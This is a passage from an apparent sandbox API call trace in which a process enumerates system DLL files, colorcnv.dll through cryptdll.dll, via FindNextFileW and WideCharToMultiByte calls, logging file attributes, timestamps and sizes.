lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0136.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLORCNV.DLL", cchWideChar=12, lpMultiByteStr=0xa9c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COLORCNV.DLL", lpUsedDefaultChar=0x0) returned 12 [0136.943] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3357b6fd, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3357b6fd, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86397ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x94000, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="colorui.dll", cAlternateFileName="")) returned 1 [0136.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLORUI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0136.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLORUI.DLL", cchWideChar=11, lpMultiByteStr=0xa9c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COLORUI.DLL", lpUsedDefaultChar=0x0) returned 11 [0136.943] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3830bb4, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xc3830bb4, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x8640aad0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="comcat.dll", cAlternateFileName="")) returned 1 [0136.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMCAT.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0136.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMCAT.DLL", cchWideChar=10, lpMultiByteStr=0xa9c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMCAT.DLL", lpUsedDefaultChar=0x0) returned 10 [0136.943] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87ba0407, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87ba0407, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87bc6567, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x81800, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="comctl32.dll", cAlternateFileName="")) returned 1 [0136.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMCTL32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0136.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMCTL32.DLL", cchWideChar=12, lpMultiByteStr=0xa9c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMCTL32.DLL", lpUsedDefaultChar=0x0) returned 12 [0136.943] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x831d597f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x831d597f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x831fbadf, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76a00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="comdlg32.dll", cAlternateFileName="")) returned 1 [0136.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMDLG32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0136.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMDLG32.DLL", cchWideChar=12, lpMultiByteStr=0xa9c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMDLG32.DLL", lpUsedDefaultChar=0x0) returned 12 [0136.943] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54e040d9, ftCreationTime.dwHighDateTime=0x1ca0405, ftLastAccessTime.dwLowDateTime=0x54e040d9, ftLastAccessTime.dwHighDateTime=0x1ca0405, ftLastWriteTime.dwLowDateTime=0xa7e211c, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x6c90, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="compobj.dll", cAlternateFileName="")) returned 1 [0136.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPOBJ.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0136.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPOBJ.DLL", cchWideChar=11, lpMultiByteStr=0xa9c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMPOBJ.DLL", lpUsedDefaultChar=0x0) returned 11 [0136.943] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafe90a34, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0xafe90a34, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x86560790, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x43800, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="compstui.dll", cAlternateFileName="")) returned 1 [0136.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPSTUI.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0136.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPSTUI.DLL", cchWideChar=12, lpMultiByteStr=0xa9c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMPSTUI.DLL", lpUsedDefaultChar=0x0) returned 12 [0136.943] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd737050d, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd737050d, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x86560790, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="comrepl.dll", cAlternateFileName="")) returned 1 [0136.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMREPL.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0136.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMREPL.DLL", cchWideChar=11, lpMultiByteStr=0xa9c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMREPL.DLL", lpUsedDefaultChar=0x0) returned 11 [0136.944] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd1df40b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xcd1df40b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xae46d00, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x13cc00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="comres.dll", cAlternateFileName="")) returned 1 [0136.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMRES.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0136.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMRES.DLL", cchWideChar=10, lpMultiByteStr=0xa9c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMRES.DLL", lpUsedDefaultChar=0x0) returned 10 [0136.944] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdca78724, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xdca78724, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865ac280, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x35c00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="comsnap.dll", cAlternateFileName="")) returned 1 [0136.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMSNAP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0136.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMSNAP.DLL", cchWideChar=11, lpMultiByteStr=0xa9c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMSNAP.DLL", lpUsedDefaultChar=0x0) returned 11 [0136.944] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfddbc751, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xfddbc751, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865d3380, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12f400, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="comsvcs.dll", cAlternateFileName="")) returned 1 [0136.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMSVCS.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0136.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMSVCS.DLL", cchWideChar=11, lpMultiByteStr=0xa9c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMSVCS.DLL", lpUsedDefaultChar=0x0) returned 11 [0136.944] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe726f31b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xe726f31b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865d3380, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8ec00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="comuid.dll", cAlternateFileName="")) returned 1 [0136.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMUID.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0136.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMUID.DLL", cchWideChar=10, lpMultiByteStr=0xa9c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMUID.DLL", lpUsedDefaultChar=0x0) returned 10 [0136.944] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cecfd00, ftCreationTime.dwHighDateTime=0x1d2881f, ftLastAccessTime.dwLowDateTime=0xfc801c00, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0x6cecfd00, ftLastWriteTime.dwHighDateTime=0x1d2881f, nFileSizeHigh=0x0, nFileSizeLow=0x3b548, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="concrt140.dll", cAlternateFileName="")) returned 1 [0136.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONCRT140.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0136.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONCRT140.DLL", cchWideChar=13, lpMultiByteStr=0xa9c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CONCRT140.DLL", lpUsedDefaultChar=0x0) returned 13 [0136.944] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf52a1a4c, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xf52a1a4c, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x865d3380, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x148400, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="connect.dll", cAlternateFileName="")) returned 1 [0136.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONNECT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0136.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONNECT.DLL", cchWideChar=11, lpMultiByteStr=0xa9c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CONNECT.DLL", lpUsedDefaultChar=0x0) returned 11 [0136.944] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62643aa1, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x62643aa1, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865fa480, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="console.dll", cAlternateFileName="")) returned 1 [0136.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONSOLE.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0136.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONSOLE.DLL", cchWideChar=11, lpMultiByteStr=0xa9c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CONSOLE.DLL", lpUsedDefaultChar=0x0) returned 11 [0136.944] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb09bc845, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xb09bc845, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865fa480, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="corpol.dll", cAlternateFileName="")) returned 1 [0136.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CORPOL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0136.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CORPOL.DLL", cchWideChar=10, lpMultiByteStr=0xa9c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CORPOL.DLL", lpUsedDefaultChar=0x0) returned 10 [0136.945] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3ca9d39, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3ca9d39, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3ca9d39, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9ca00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="CPFilters.dll", cAlternateFileName="")) returned 1 [0136.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CPFILTERS.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0136.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CPFILTERS.DLL", cchWideChar=13, lpMultiByteStr=0xa9c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CPFILTERS.DLL", lpUsedDefaultChar=0x0) returned 13 [0136.945] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9da9522d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9da9522d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9da9522d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="credssp.dll", cAlternateFileName="")) returned 1 [0136.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CREDSSP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0136.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CREDSSP.DLL", cchWideChar=11, lpMultiByteStr=0xa9c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CREDSSP.DLL", lpUsedDefaultChar=0x0) returned 11 [0136.945] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d09d5fb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d09d5fb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d0c375b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x29400, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="credui.dll", cAlternateFileName="")) returned 1 [0136.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CREDUI.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0136.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CREDUI.DLL", cchWideChar=10, lpMultiByteStr=0xa9c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CREDUI.DLL", lpUsedDefaultChar=0x0) returned 10 [0136.945] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x435139, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x435139, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x866dd550, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2461b, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="crtdll.dll", cAlternateFileName="")) returned 1 [0136.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRTDLL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0136.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRTDLL.DLL", cchWideChar=10, lpMultiByteStr=0xa9c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRTDLL.DLL", lpUsedDefaultChar=0x0) returned 10 [0136.945] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89b04660, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x89b04660, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x89b76a81, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x119c00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="crypt32.dll", cAlternateFileName="")) returned 1 [0136.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPT32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0136.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPT32.DLL", cchWideChar=11, lpMultiByteStr=0xa9c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPT32.DLL", lpUsedDefaultChar=0x0) returned 11 [0136.945] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54554db9, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x54554db9, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x86704650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="cryptbase.dll", cAlternateFileName="")) returned 1 [0136.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTBASE.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0136.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTBASE.DLL", cchWideChar=13, lpMultiByteStr=0xa9c288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTBASE.DLL", lpUsedDefaultChar=0x0) returned 13 [0136.945] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8dce1c44, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8dce1c44, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="cryptdlg.dll", cAlternateFileName="")) returned 1 [0136.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTDLG.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0136.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTDLG.DLL", cchWideChar=12, lpMultiByteStr=0xa9c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTDLG.DLL", lpUsedDefaultChar=0x0) returned 12 [0136.946] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x360536d1, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x360536d1, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe600, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="cryptdll.dll", cAlternateFileName="")) returned 1 [0136.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTDLL.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0136.946] WideCharToMultiByte (in: CodePage=0x0, 